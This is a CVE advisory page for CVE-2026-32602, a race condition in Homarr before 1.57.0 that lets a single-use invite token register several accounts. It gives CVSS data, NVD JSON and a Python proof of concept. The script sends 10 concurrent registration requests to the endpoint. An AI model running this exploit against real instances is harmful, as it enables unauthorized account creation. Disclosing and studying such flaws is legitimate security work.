Security Vulnerability Report
中文
CVE-2026-32602 CVSS 4.2 MEDIUM

CVE-2026-32602

Published: 2026-04-06 15:17:10
Last Modified: 2026-04-10 18:00:42

Description

Homarr is an open-source dashboard. Prior to 1.57.0, the user registration endpoint (/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token. The registration flow performs three sequential database operations without a transaction: CHECK, CREATE, and DELETE. Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use. This vulnerability is fixed in 1.57.0.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:* - VULNERABLE
Homarr < 1.57.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Target URL and Invite Token target_url = "http://target-domain.com/api/trpc/user.register" invite_token = "VALID_INVITE_TOKEN_HERE" # Define the payload for registration payload = { "json": { "token": invite_token, "username": "testuser", "password": "password123" } } def register_user(user_suffix): # Update username to be unique for each thread to verify success current_payload = payload.copy() current_payload['json']['username'] = f"hacker_{user_suffix}" try: response = requests.post(target_url, json=current_payload) if response.status_code == 200: print(f"[+] Success: User {current_payload['json']['username']} registered!") else: print(f"[-] Failed: {response.status_code} - {response.text}") except Exception as e: print(f"Error: {e}") # Simulate Race Condition with multiple threads threads = [] num_requests = 10 # Number of concurrent requests print(f"[*] Starting race condition attack with {num_requests} threads...") for i in range(num_requests): t = threading.Thread(target=register_user, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32602", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:10.000", "lastModified": "2026-04-10T18:00:42.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Homarr is an open-source dashboard. Prior to 1.57.0, the user registration endpoint (/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token. The registration flow performs three sequential database operations without a transaction: CHECK, CREATE, and DELETE. Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use. This vulnerability is fixed in 1.57.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.57.0", "matchCriteriaId": "734B6AEF-40FE-4B67-A3B1-66BCB31D30C9"}]}]}], "references": [{"url": "https://github.com/homarr-labs/homarr/security/advisories/GHSA-vfw3-53q9-2hp8", "source": "[email protected]", "tags": ["Third Party Advisory", "Vendor Advisory"]}, {"url": "https://github.com/homarr-labs/homarr/security/advisories/GHSA-vfw3-53q9-2hp8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Vendor Advisory"]}]}}